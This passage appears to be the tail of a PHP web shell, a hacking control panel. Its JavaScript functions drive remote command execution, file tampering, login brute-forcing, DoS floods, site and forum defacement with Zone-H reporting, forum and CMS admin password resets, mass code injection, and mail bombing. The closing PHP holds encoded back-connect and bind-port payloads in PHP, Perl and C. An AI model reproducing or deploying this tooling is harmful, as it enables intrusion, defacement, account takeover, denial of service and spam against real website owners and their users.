6541 document.getElementById("crdir").innerHTML=myurl;
6542 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
6543 }
6544 }
6545
6546 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
6547 ajaxRequest.send(null);
6548}
6549function gethome(myaction,mydir)
6550{
6551 var myurl = urlchange(mydir);
6552 document.getElementById("showmaindata").innerHTML=waitstate;
6553 var ajaxRequest;
6554 ajaxRequest = new XMLHttpRequest();
6555
6556 ajaxRequest.onreadystatechange = function()
6557 {
6558 if(ajaxRequest.readyState == 4)
6559 {
6560 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
6561 setpath(mydir);
6562 document.getElementById("crdir").innerHTML=myurl;
6563 }
6564 }
6565
6566 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
6567 ajaxRequest.send(null);
6568}
6569function getname(sitename)
6570{
6571 document.getElementById("showsite").innerHTML=waitstate;
6572 var ajaxRequest;
6573 ajaxRequest = new XMLHttpRequest();
6574
6575 ajaxRequest.onreadystatechange = function()
6576 {
6577 if(ajaxRequest.readyState == 4)
6578 {
6579 document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
6580 }
6581 }
6582
6583 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
6584 ajaxRequest.send(null);
6585}
6586function myaction(myfileaction,chmode)
6587{
6588 var mytype = document.getElementsByName('actbox[]');
6589 var mychoice = new Array();
6590
6591 for (var i = 0, length = mytype.length; i < length; i++)
6592 {
6593 if (mytype[i].checked)
6594 mychoice[i] = mytype[i].value;
6595 }
6596
6597 var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;
6598
6599 document.getElementById("showmydata").className = "fixedbox";
6600 document.getElementById("showmydata").innerHTML=waitstate;
6601 var ajaxRequest;
6602 ajaxRequest = new XMLHttpRequest();
6603
6604 ajaxRequest.onreadystatechange = function()
6605 {
6606 if(ajaxRequest.readyState == 4)
6607 {
6608 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
6609 }
6610 }
6611
6612 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6613 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6614 ajaxRequest.send(params);
6615}
6616function editdata()
6617{
6618 var result = "", // initialize list
6619 i,dbname,tablename;
6620 // iterate through arguments
6621 for (i = 1; i < arguments.length; i++)
6622 {
6623 if(i%2 == 0)
6624 result += arguments[i]+'=';
6625 else
6626 result += arguments[i]+'&';
6627 }
6628 result = result.slice(0, -1);
6629
6630 dbname = arguments[3];
6631 tablename = arguments[5];
6632 var result=result.replace(/dhanush_/g,"");
6633 var params = arguments[0]+"="+result;
6634
6635 document.getElementById("showsql").innerHTML=waitstate;
6636 var ajaxRequest;
6637 ajaxRequest = new XMLHttpRequest();
6638
6639 ajaxRequest.onreadystatechange = function()
6640 {
6641 if(ajaxRequest.readyState == 4)
6642 {
6643 viewtables('listTables',dbname,tablename);
6644 }
6645 }
6646
6647 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6648 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6649 ajaxRequest.send(params);
6650}
6651function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
6652{
6653 document.getElementById("showsql").innerHTML=waitstate;
6654 var ajaxRequest;
6655 ajaxRequest = new XMLHttpRequest();
6656
6657 ajaxRequest.onreadystatechange = function()
6658 {
6659 if(ajaxRequest.readyState == 4)
6660 {
6661 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
6662 }
6663 }
6664
6665 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
6666 ajaxRequest.send(null);
6667}
6668function mydatabase(server,username,password)
6669{
6670 document.getElementById("showsql").innerHTML=waitstate;
6671 var ajaxRequest;
6672 ajaxRequest = new XMLHttpRequest();
6673
6674 ajaxRequest.onreadystatechange = function()
6675 {
6676 if(ajaxRequest.readyState == 4)
6677 {
6678 mydatago();
6679 }
6680 }
6681
6682 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
6683 ajaxRequest.send(null);
6684}
6685function mydatago()
6686{
6687 var ajaxRequest;
6688 ajaxRequest = new XMLHttpRequest();
6689
6690 ajaxRequest.onreadystatechange = function()
6691 {
6692 if(ajaxRequest.readyState == 4)
6693 {
6694 document.getElementById("datatable").style.display = 'none';
6695 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
6696 }
6697 }
6698
6699 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
6700 ajaxRequest.send(null);
6701}
6702function bruteforce(prototype,serverport,login,dict)
6703{
6704 var mytype = document.getElementsByName('mytype');
6705 for (var i = 0, length = mytype.length; i < length; i++)
6706 {
6707 if (mytype[i].checked)
6708 break;
6709 }
6710 var getreverse = 0;
6711 if(document.getElementById('reverse').checked == true)
6712 getreverse = 1;
6713 else
6714 getreverse = 0;
6715
6716 document.getElementById("showbrute").innerHTML=waitstate;
6717 var ajaxRequest;
6718 ajaxRequest = new XMLHttpRequest();
6719
6720 ajaxRequest.onreadystatechange = function()
6721 {
6722 if(ajaxRequest.readyState == 4)
6723 {
6724 document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
6725 }
6726 }
6727
6728 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
6729 ajaxRequest.send(null);
6730}
6731function executemyfile(action,executepath,execute)
6732{
6733 document.getElementById("showmydata").className = "fixedbox";
6734 document.getElementById("showmydata").innerHTML=waitstate;
6735 var ajaxRequest;
6736 ajaxRequest = new XMLHttpRequest();
6737
6738 ajaxRequest.onreadystatechange = function()
6739 {
6740 if(ajaxRequest.readyState == 4)
6741 {
6742 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
6743 }
6744 }
6745
6746 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
6747 ajaxRequest.send(null);
6748}
6749function maindata(myaction,dir)
6750{
6751 document.getElementById("showmaindata").innerHTML=waitstate;
6752 var ajaxRequest;
6753 ajaxRequest = new XMLHttpRequest();
6754
6755 ajaxRequest.onreadystatechange = function()
6756 {
6757 if(ajaxRequest.readyState == 4)
6758 {
6759 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
6760 document.getElementById("showdir").innerHTML="";
6761 }
6762 }
6763
6764 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
6765 ajaxRequest.send(null);
6766}
6767function manuallyscriptfn(sctype,passwd)
6768{
6769 var message = encodeURIComponent(passwd);
6770 var params = sctype+"="+sctype+"&passwd="+passwd;
6771 document.getElementById("showdata").innerHTML=waitstate;
6772 var ajaxRequest;
6773 ajaxRequest = new XMLHttpRequest();
6774
6775 ajaxRequest.onreadystatechange = function()
6776 {
6777 if(ajaxRequest.readyState == 3)
6778 {
6779 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
6780 }
6781 }
6782
6783 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6784 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6785 ajaxRequest.send(params);
6786}
6787function my404page(message)
6788{
6789 var message = encodeURIComponent(message);
6790 var params = "404page=404page&message="+message;
6791 document.getElementById("showdata").innerHTML=waitstate;
6792 var ajaxRequest;
6793 ajaxRequest = new XMLHttpRequest();
6794
6795 ajaxRequest.onreadystatechange = function()
6796 {
6797 if(ajaxRequest.readyState == 4)
6798 {
6799 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
6800 }
6801 }
6802
6803 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6804 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6805 ajaxRequest.send(params);
6806}
6807function executemyfn(executepath,executemycmd)
6808{
6809 var ajaxRequest,app;
6810 ajaxRequest = new XMLHttpRequest();
6811
6812 ajaxRequest.onreadystatechange = function()
6813 {
6814 if(ajaxRequest.readyState == 4)
6815 {
6816 app = "$ " + executemycmd + " : " + ajaxRequest.responseText + "\n";
6817 document.getElementById("showexecute").innerHTML=app+document.getElementById("showexecute").innerHTML;
6818 }
6819 }
6820
6821 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
6822 ajaxRequest.send(null);
6823}
6824function zoneh(defacer,hackmode,reason,domain)
6825{
6826 var domain = encodeURIComponent(domain);
6827 var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
6828 document.getElementById("showzone").innerHTML=waitstate;
6829 var ajaxRequest;
6830 ajaxRequest = new XMLHttpRequest();
6831
6832 ajaxRequest.onreadystatechange = function()
6833 {
6834 if(ajaxRequest.readyState == 4)
6835 {
6836 document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
6837 }
6838 }
6839
6840 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6841 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6842 ajaxRequest.send(params);
6843}
6844function savemyfile(file,content)
6845{
6846 var content = encodeURIComponent(content);
6847 var params = "content="+content+"&file="+file;
6848 document.getElementById("showmydata").innerHTML=waitstate;
6849 document.getElementById("showdir").innerHTML="";
6850 var ajaxRequest;
6851 ajaxRequest = new XMLHttpRequest();
6852
6853 ajaxRequest.onreadystatechange = function()
6854 {
6855 if(ajaxRequest.readyState == 4)
6856 {
6857 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
6858 }
6859 }
6860
6861 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6862 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6863 ajaxRequest.send(params);
6864}
6865function renamefun(file,to)
6866{
6867 document.getElementById("showmydata").innerHTML=waitstate;
6868 var ajaxRequest;
6869 ajaxRequest = new XMLHttpRequest();
6870
6871 ajaxRequest.onreadystatechange = function()
6872 {
6873 if(ajaxRequest.readyState == 4)
6874 {
6875 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
6876 }
6877 }
6878
6879 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
6880 ajaxRequest.send(null);
6881}
6882function changeperms(chmode,myfilename)
6883{
6884 document.getElementById("showmydata").innerHTML=waitstate;
6885 var ajaxRequest;
6886 ajaxRequest = new XMLHttpRequest();
6887
6888 ajaxRequest.onreadystatechange = function()
6889 {
6890 if(ajaxRequest.readyState == 4)
6891 {
6892 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
6893 }
6894 }
6895
6896 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
6897 ajaxRequest.send(null);
6898}
6899function defacefun(deface)
6900{
6901 var ajaxRequest;
6902 ajaxRequest = new XMLHttpRequest();
6903
6904 ajaxRequest.onreadystatechange = function()
6905 {
6906 if(ajaxRequest.readyState == 4)
6907 {
6908 alert(ajaxRequest.responseText);
6909 }
6910 }
6911
6912 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
6913 ajaxRequest.send(null);
6914}
6915function cancel()
6916{
6917 document.getElementById("showmydata").className = "";
6918 document.getElementById("showmydata").innerHTML='';
6919}
6920function fileaction(myaction,myfilepath)
6921{
6922 document.getElementById("showmydata").className = "fixedbox";
6923 document.getElementById("showmydata").innerHTML=waitstate;
6924 var ajaxRequest;
6925 ajaxRequest = new XMLHttpRequest();
6926
6927 ajaxRequest.onreadystatechange = function()
6928 {
6929 if(ajaxRequest.readyState == 4)
6930 {
6931 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
6932 }
6933 }
6934
6935 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
6936 ajaxRequest.send(null);
6937}
6938function bypassfun(funct,functvalue,optiontype)
6939{
6940 document.getElementById("showmydata").className = "fixedbox";
6941 document.getElementById("showmydata").innerHTML=waitstate;
6942 var ajaxRequest;
6943 ajaxRequest = new XMLHttpRequest();
6944 ajaxRequest.onreadystatechange = function()
6945 {
6946 if(ajaxRequest.readyState == 4)
6947 {
6948 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
6949 }
6950 }
6951
6952 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
6953 ajaxRequest.send(null);
6954}
6955function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
6956{
6957 document.getElementById("showdos").innerHTML=waitstate;
6958 var ajaxRequest;
6959 ajaxRequest = new XMLHttpRequest();
6960
6961 ajaxRequest.onreadystatechange = function()
6962 {
6963 if(ajaxRequest.readyState == 4)
6964 {
6965 document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
6966 }
6967 }
6968
6969 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
6970 ajaxRequest.send(null);
6971}
6972function createfile(filecreator,filecontent)
6973{
6974 var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
6975 var filecontent = encodeURIComponent(filecontent);
6976 var params = "filecontent="+filecontent+"&filecreator="+filecreator;
6977 document.getElementById("showdir").innerHTML=waitstate;
6978 var ajaxRequest;
6979 ajaxRequest = new XMLHttpRequest();
6980
6981 ajaxRequest.onreadystatechange = function()
6982 {
6983 if(ajaxRequest.readyState == 4)
6984 {
6985 gethome('home',mm);
6986 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
6987 document.getElementById("showmydata").innerHTML="";
6988 }
6989 }
6990
6991 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
6992 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
6993 ajaxRequest.send(params);
6994}
6995function createdir(create,createfolder)
6996{
6997 document.getElementById("showmydata").className = "fixedbox";
6998 document.getElementById("showmydata").innerHTML=waitstate;
6999 var ajaxRequest;
7000 ajaxRequest = new XMLHttpRequest();
7001
7002 ajaxRequest.onreadystatechange = function()
7003 {
7004 if(ajaxRequest.readyState == 4)
7005 {
7006 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
7007 }
7008 }
7009
7010 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
7011 ajaxRequest.send(null);
7012}
7013function codeinsert(code)
7014{
7015 var code = encodeURIComponent(code);
7016 var params = "getcode="+code;
7017 document.getElementById("showcode").innerHTML=waitstate;
7018 var ajaxRequest;
7019 ajaxRequest = new XMLHttpRequest();
7020
7021 ajaxRequest.onreadystatechange = function()
7022 {
7023 if(ajaxRequest.readyState == 4)
7024 {
7025 document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
7026 }
7027 }
7028
7029 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
7030 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
7031 ajaxRequest.send(params);
7032}
7033function getmydefacedata(mydata)
7034{
7035 document.getElementById("showmydeface").innerHTML=waitstate;
7036 var ajaxRequest;
7037 ajaxRequest = new XMLHttpRequest();
7038
7039 ajaxRequest.onreadystatechange = function()
7040 {
7041 if(ajaxRequest.readyState == 4)
7042 {
7043 document.getElementById("showmydeface").innerHTML=ajaxRequest.responseText;
7044 }
7045 }
7046
7047 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
7048 ajaxRequest.send(null);
7049}
7050function getmydata(mydata)
7051{
7052 document.getElementById("showmydata").className = "fixedbox";
7053 document.getElementById("showmydata").innerHTML=waitstate;
7054 var ajaxRequest;
7055 ajaxRequest = new XMLHttpRequest();
7056
7057 ajaxRequest.onreadystatechange = function()
7058 {
7059 if(ajaxRequest.readyState == 4)
7060 {
7061 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
7062 }
7063 }
7064
7065 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
7066 ajaxRequest.send(null);
7067}
7068function getdata(mydata,myfile)
7069{
7070 document.getElementById("showdata").innerHTML=waitstate;
7071 var ajaxRequest;
7072 ajaxRequest = new XMLHttpRequest();
7073
7074 ajaxRequest.onreadystatechange = function()
7075 {
7076 if(ajaxRequest.readyState == 3)
7077 {
7078 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
7079 }
7080 }
7081
7082 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
7083 ajaxRequest.send(null);
7084}
7085function getport(host,protocol,start,end)
7086{
7087 document.getElementById("showports").innerHTML=waitstate;
7088 var ajaxRequest;
7089 ajaxRequest = new XMLHttpRequest();
7090
7091 ajaxRequest.onreadystatechange = function()
7092 {
7093 if(ajaxRequest.readyState == 4)
7094 {
7095 document.getElementById("showports").innerHTML=ajaxRequest.responseText;
7096 }
7097 }
7098
7099 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
7100 ajaxRequest.send(null);
7101}
7102function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uname,newpass)
7103{
7104 document.getElementById("showchangepass").innerHTML=waitstate;
7105 var ajaxRequest;
7106 ajaxRequest = new XMLHttpRequest();
7107
7108 ajaxRequest.onreadystatechange = function()
7109 {
7110 if(ajaxRequest.readyState == 4)
7111 {
7112 document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
7113 }
7114 }
7115
7116 ajaxRequest.open("GET", "<?php echo $_SERVER['PHP_SELF']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uname=" + uname + "&newpass=" + newpass, true);
7117 ajaxRequest.send(null);
7118}
7119function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,f5)
7120{
7121 var index = encodeURIComponent(index);
7122 var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&f5="+f5;
7123 document.getElementById("showdeface").innerHTML=waitstate;
7124 var ajaxRequest;
7125 ajaxRequest = new XMLHttpRequest();
7126
7127 ajaxRequest.onreadystatechange = function()
7128 {
7129 if(ajaxRequest.readyState == 4)
7130 {
7131 document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
7132 }
7133 }
7134
7135 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
7136 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
7137 ajaxRequest.send(params);
7138}
7139function codeinjector(pathtomass,mode,filetype,injectthis)
7140{
7141 var injectthis = encodeURIComponent(injectthis);
7142 var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
7143 document.getElementById("showinject").innerHTML=waitstate;
7144 var ajaxRequest;
7145 ajaxRequest = new XMLHttpRequest();
7146
7147 ajaxRequest.onreadystatechange = function()
7148 {
7149 if(ajaxRequest.readyState == 3)
7150 {
7151 document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
7152 }
7153 }
7154
7155 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
7156 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
7157 ajaxRequest.send(params);
7158}
7159function sendmail(mailfunction,to,subject,message,from,times,padding)
7160{
7161 var message = encodeURIComponent(message);
7162 if(mailfunction == "massmailing")
7163 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
7164 else if(mailfunction == "dobombing")
7165 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"×=" + times + "&padding=" + padding + "&message=" + message;
7166 document.getElementById("showmail").innerHTML=waitstate;
7167 var ajaxRequest;
7168 ajaxRequest = new XMLHttpRequest();
7169
7170 ajaxRequest.onreadystatechange = function()
7171 {
7172 if(ajaxRequest.readyState == 4)
7173 {
7174 document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
7175 }
7176 }
7177
7178 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
7179 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
7180 ajaxRequest.send(params);
7181}
7182function execode(code)
7183{
7184 var intext = document.getElementById('intext').checked;
7185 var message = encodeURIComponent(message);
7186 var params = "code="+code+"&intext="+intext;
7187 document.getElementById("showresult").innerHTML=waitstate;
7188 var ajaxRequest;
7189 ajaxRequest = new XMLHttpRequest();
7190
7191 ajaxRequest.onreadystatechange = function()
7192 {
7193 if(ajaxRequest.readyState == 4)
7194 {
7195 document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
7196 }
7197 }
7198
7199 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
7200 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
7201 ajaxRequest.send(params);
7202}
7203function malwarefun(malwork)
7204{
7205 var malpath = document.getElementById('createfile').value;
7206 document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
7207 var ajaxRequest;
7208 ajaxRequest = new XMLHttpRequest();
7209
7210 ajaxRequest.onreadystatechange = function()
7211 {
7212 if(ajaxRequest.readyState == 4)
7213 {
7214 document.getElementById("showmal").innerHTML=ajaxRequest.responseText;
7215 }
7216 }
7217
7218 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+malwork+"&path="+malpath, true);
7219 ajaxRequest.send(null);
7220}
7221function getexploit(wurl,path,functiontype)
7222{
7223 document.getElementById("showexp").innerHTML=waitstate;
7224 var ajaxRequest;
7225 ajaxRequest = new XMLHttpRequest();
7226
7227 ajaxRequest.onreadystatechange = function()
7228 {
7229 if(ajaxRequest.readyState == 4)
7230 {
7231 document.getElementById("showexp").innerHTML=ajaxRequest.responseText;
7232 }
7233 }
7234
7235 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?uploadurl&wurl="+wurl+"&functiontype="+functiontype+"&path="+path, true);
7236 ajaxRequest.send(null);
7237}
7238function showMsg(msg)
7239{
7240 if(msg == 'smf')
7241 {
7242 document.getElementById('tableprefix').value="smf_";
7243 document.getElementById('fid').style.display='block';
7244 document.getElementById('wpress').style.display='none';
7245 document.getElementById('joomla').style.display='none';
7246 }
7247 if(msg == 'mybb')
7248 {
7249 document.getElementById('tableprefix').value="mybb_";
7250 document.getElementById('wpress').style.display='none';
7251 document.getElementById('joomla').style.display='none';
7252 document.getElementById('fid').style.display='block';
7253 }
7254 if(msg == 'ipb' || msg == 'vb')
7255 {
7256 document.getElementById('tableprefix').value="";
7257 document.getElementById('wpress').style.display='none';
7258 document.getElementById('joomla').style.display='none';
7259 document.getElementById('fid').style.display='block';
7260 }
7261 if(msg == 'wp')
7262 {
7263 document.getElementById('tableprefix').value="wp_";
7264 document.getElementById('wpress').style.display='block';
7265 document.getElementById('fid').style.display='none';
7266 document.getElementById('joomla').style.display='none';
7267 }
7268 if(msg == 'joomla')
7269 {
7270 document.getElementById('joomla').style.display='block';
7271 document.getElementById('tableprefix').value="jos_";
7272 document.getElementById('wpress').style.display='none';
7273 document.getElementById('fid').style.display='none';
7274 }
7275}
7276function checkforum(msg)
7277{
7278 if(msg == 'smf')
7279 {
7280 document.getElementById('tableprefix').value="smf_";
7281 document.getElementById('smfipb').style.display='block';
7282 document.getElementById('myjoomla').style.display='none';
7283
7284 }
7285 if(msg == 'phpbb')
7286 {
7287 document.getElementById('tableprefix').value="phpb_";
7288 document.getElementById('myjoomla').style.display='none';
7289 document.getElementById('smfipb').style.display='block';
7290
7291 }
7292 if(msg == 'mybb')
7293 {
7294 document.getElementById('tableprefix').value="mybb_";
7295 document.getElementById('myjoomla').style.display='none';
7296 document.getElementById('smfipb').style.display='none';
7297 }
7298 if(msg == 'vb')
7299 {
7300 document.getElementById('tableprefix').value="";
7301 document.getElementById('myjoomla').style.display='none';
7302 document.getElementById('smfipb').style.display='none';
7303 }
7304 if(msg == 'ipb')
7305 {
7306 document.getElementById('myjoomla').style.display='none';
7307 document.getElementById('smfipb').style.display='block';
7308 document.getElementById('tableprefix').value="";
7309 }
7310 if(msg == 'wp')
7311 {
7312 document.getElementById('tableprefix').value="wp_";
7313 document.getElementById('myjoomla').style.display='block';
7314 document.getElementById('smfipb').style.display='none';
7315 document.getElementById('siteurl').value="http://site/blog";
7316 }
7317 if(msg == 'joomla')
7318 {
7319 document.getElementById('myjoomla').style.display='block';
7320 document.getElementById('tableprefix').value="jos_";
7321 document.getElementById('smfipb').style.display='none';
7322 document.getElementById('siteurl').value="http://site/administrator/";
7323 }
7324}
7325</script>
7326<body>
7327<?php
7328
7329$back_connect_p="eNqlU01PwzAMvVfqfwjlkkpd94HEAZTDGENCCJC2cRrT1DUZCWvjqk5A/fcs3Rgg1gk0XxLnPT/bsnN60rZYthdKt4vKSNC+53sqL6A0BCuMCEK6EiYi4O52UZSQCkTHkoCGMMeKk/Llbdqd+V4dx4jShu7ee7PQ0TdCMQrDxTKxmTEqF2ANPe/U+LtUmSDdC98ja0NYOe1tTH3Qrde/md8+DCfR1h0/Du7m48lo2L8Pd7FxClqL1FDqqoxcWeE3FIXmNGBH2LMOfum1mu1aJtqibCY4vcs/Cg6AC06uKtIvX63+j+CxHe+pkLFxhUbkSi+BsU3eDQsw5rboUcdermergYZR5xDYPQT2DoFnn8OQIsvc4uw2NU6TLKPTwOokF0EUtJJgFu5r4wlFSRT/2UOznuJfOo2k+l+hdGnVmv4Bmanx6Q==";
7330
7331$backconnect_perl="eNqlUl9rwjAQfxf8Drcqa4UWt1dLZU7rJmN2tNWXTUps45qtJiVNGf32S9pOcSAI3kNI7vcnd9z1boZlwYdbQoc55llZYFh4o1HA4m8s7G6n2+kXVSHwHmQ4oNfMLSpSXYL9if80dR7kuZYvpW110LzmJMPPiCYZVplup6hRI/CmL25owts8WizVRSWiIPTdyasJn1jknAm2rSjaY0MXca4PBtI/ZpTi+ChXbihJeESooSpZv99vTCAUiwgJ9pe72wykuv6+EVpjVAq2k62mRg2wHFMjCGeLpQna+LZhaSeQtwrNM5Dr+/+hnBMqQHOuiA+q2Qcj63zMUkRlI+cJlxhNWYITeKxgwr9KeonRda01Vs1aGRqOUwaW5ThBnSB0xxzHsmwo1fzBQjYoin3grQrMjyyS2KfwjHC5JYxXDZ7/tAQ4fpTiLFMoqHm1dbRrrhat53rzX0SL2FA=";
7332
7333$bind_port_c="bZJRT9swEIDfK/U/eEVa7WJK0mkPrMukaoCEpnUT8DKVKjK2Q05LbMt2KGzw3+ekKQ0Zfkn83efL3TkHoHhRCYk+Oy9AT/Mvw8FBh1lQdz1YKQhuDyrpxe1/p0UBWwjKo5KBwvULs3ecIp4ziyaTsLkn6O9wgMKqo45yCvPtvnHM6kO0bkEoqOLB0fw3E8KmoJBtQ4LJUisc04jsZJQ0pvR4cZ5eLM+u6dWPr9/Sq+vLs8X3vQcZfucIstJXVqGjuMV26kClGSuheAyZ2hSvgkZbH0K518ph5jXgup1VvCbklVfXOnXNo9ULfLFcnJ5epovlr517C0pgRxHudYkm5L2lKHqIX0ouwhVIVcsfd2iTQyFx/DLLZn4J41waH8Ro328zrcrMMH+TxW+wWZdtLHgZ4Ognc26jrfg0oiddwUomQtxQB3+kzrAh3WimLYYkmkP9exWhC0PmcHhI9kZ7KQibFaxRkqDxjRoT9PTUJTaQ3pl6bYUQj8adb0LWTJWXZntDszU1pM4T9VK4xzDYEo+Ow2UcuxwdwahbOy+0C63v0PNw8PwP";
7334
